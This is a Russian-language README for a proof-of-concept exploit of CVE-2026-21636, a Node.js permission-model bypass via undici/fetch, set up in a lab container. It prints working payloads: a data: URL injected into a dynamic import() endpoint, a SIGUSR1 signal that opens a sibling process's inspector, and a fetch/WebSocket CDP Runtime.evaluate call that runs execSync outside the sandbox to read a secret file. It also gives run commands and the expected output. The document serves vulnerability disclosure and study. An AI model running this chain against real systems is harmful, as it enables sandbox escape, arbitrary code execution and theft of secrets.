
Доказательство концепции, демонстрирующее обход модели разрешений Node.js (CVE-2026-21636), который позволяет получить сетевой доступ к локальным службам через undici/fetch, обеспечивая выполнение произвольного кода через CDP.
Модель разрешений Node.js (--permission) предназначена для изоляции процесса путём ограничения доступа к файловой системе, дочерним процессам, воркерам и сети. CVE-2026-21636 показывает, что соединения, устанавливаемые через undici/fetch (а также net/tls) к доменным сокетам Unix и локальным TCP-адресам, полностью обходят сетевую защиту, даже при отсутствии --allow-net.
Затронуто: Node.js v25 (сетевые разрешения всё ещё экспериментальны на момент раскрытия).
Данный PoC воспроизводит концепцию на v22, где наблюдается тот же обход.
Атакующий, способный внедрить произвольный JavaScript в процесс, работающий под --permission (но без --allow-net или --allow-child-process), может:
Внутри контейнера под управлением supervisord бок о бок работают два процесса:
target.cjs записывает свой PID в /tmp/target.pid при запуске, затем работает в бесконечном цикле (простаивающий процесс-жертва). server.mjs запускает Express-сервер на :8000 с эндпоинтом /pid и уязвимым эндпоинтом /language.
Файл /app/secret.txt принадлежит пользователю app (chmod 444). Оба процесса могут получить к нему доступ на уровне ОС. Эксплойт не полагается на барьер прав доступа к файлам — он демонстрирует, что server.mjs, несмотря на отсутствие --allow-net, может обратиться к 127.0.0.1:9229 через fetch()/WebSocket и выполнить произвольный код внутри процесса target.cjs без песочницы. Чтение secret.txt через CDP является доказательством выполнения этого кода.
Примечание: что на самом деле демонстрирует этот PoC
Поскольку
server.mjsуже запущен с--allow-fs-read=/, чтение/app/secret.txtнапрямую из изолированного процесса тривиально возможно с использованием только JS-инъекции (шаг 1):import { readFileSync } from 'fs'; export default { secret: readFileSync('/app/secret.txt', 'utf8') };Чтение файловой системы — не суть этого PoC. Цель — продемонстрировать CVE-2026-21636: несмотря на отсутствие
--allow-net,fetch()(undici) может установить TCP-соединение с127.0.0.1:9229, полностью обходя сетевую защиту модели разрешений. Эксплойт использует этот обход, чтобы через CDP проникнуть в полностью неизолированный процессtarget.cjsи добиться выполнения произвольного кода за пределами песочницы; то, что не позволило бы никакое количество--allow-fs-read.
POST /languageЭтот раздел выходит за рамки PoC.
// server.mjs
app.post('/language', async (req, res) => {
const requested = req.body?.lang ?? 'fr';
res.json(await import(requested + '/index.js'));
});
Сервер выполняет динамический import() строки, контролируемой пользователем. Node.js import() нативно поддерживает схему URL data::
data:text/javascript,<percent-encoded JS>
Суффикс /index.js, добавляемый сервером, нейтрализуется добавлением // в конец полезной нагрузки (интерпретируется как URL-комментарий / игнорируемый фрагмент пути).
Это даёт выполнение произвольного JavaScript внутри изолированного процесса — точку входа для злоупотребления CVE-2026-21636.
Сервер запускается с:
node --permission --allow-fs-read=/ /app/server.mjs
Замысел: даже если атакующий запустит код внутри server.mjs, он не сможет выйти в сеть, породить процессы или получить доступ к инспектору.
CVE-2026-21636 разрушает границу --allow-net.
GET /pid → { "pid": <N> }
target.cjs записывает свой PID в /tmp/target.pid при запуске. Сервер предоставляет его. Это идентифицирует процесс-жертву, который будет использоваться как CDP-ретранслятор.
Это также можно было бы сделать путём инъекции JS в точку входа; для упрощения я просто создал эндпоинт /pid.
target.cjs через SIGUSR1Полезная нагрузка, внедрённая через POST /language (как URL data:):
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };
Когда процесс Node.js получает SIGUSR1, он запускает (или возобновляет) свой V8/CDP-отладчик и начинает прослушивание на:
127.0.0.1:9229
Поскольку target.cjs работает без --permission, его инспектор полностью привилегирован — он может вычислять любые выражения, включая require('child_process').execSync(...).
Отправка сигналов (process.kill) не ограничивается моделью разрешений, поэтому этот шаг выполняется изнутри песочницы.
Вторая полезная нагрузка, внедрённая через POST /language:
// получаем список отлаживаемых целей из HTTP API инспектора
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();
// затем открываем WebSocket к CDP-эндпоинту target.cjs
const result = await new Promise(resolve => {
const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
ws.onopen = () => ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `process.mainModule.require('child_process')
.execSync('cat /app/secret.txt').toString()`,
returnByValue: true
}
}));
ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});
export default result;
Почему это работает, несмотря на отсутствие --allow-net:
fetch() в Node.js реализован через undici. CVE-2026-21636 показывает, что путь соединения undici для http://127.0.0.1:... (и опции UDS socketPath) не проходит через сетевую проверку модели разрешений. Песочница считает, что исходящего сетевого доступа не было, однако TCP-соединение с :9229 успешно устанавливается.
Вызов CDP Runtime.evaluate выполняется внутри неизолированного процесса target.cjs, поэтому require('child_process') доступен, и execSync работает без ограничений.
атакующий (Python-скрипт)
│
├─[1]─ GET /pid → pid = N
│
├─[2]─ POST /language data:js SIGUSR1 → инспектор target.cjs запускается на :9229
│
└─[3]─ POST /language data:js fetch+WS → CDP Runtime.evaluate → cat /app/secret.txt
↑
обход CVE-2026-21636 здесь
(fetch к 127.0.0.1 без --allow-net)
# Сборка и запуск окружения
docker compose up --build -d
# Запуск эксплойта
python3 exploit.py
Ожидаемый вывод:
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!
| Процесс | Пользователь | Флаги | Возможности |
|---|
target.cjs | app | нет | полный API Node.js, без песочницы |
server.mjs | app | --permission --allow-fs-read=/ | полное чтение ФС — без сети, без child_process, без worker |
| Разрешение | Статус |
|---|
--allow-fs-read=/ | предоставлено (полное чтение) |
--allow-fs-write | запрещено |
--allow-net | запрещено (экспериментальное, не установлено) |
--allow-child-process | запрещено |
--allow-worker | запрещено |
--allow-inspector | запрещено |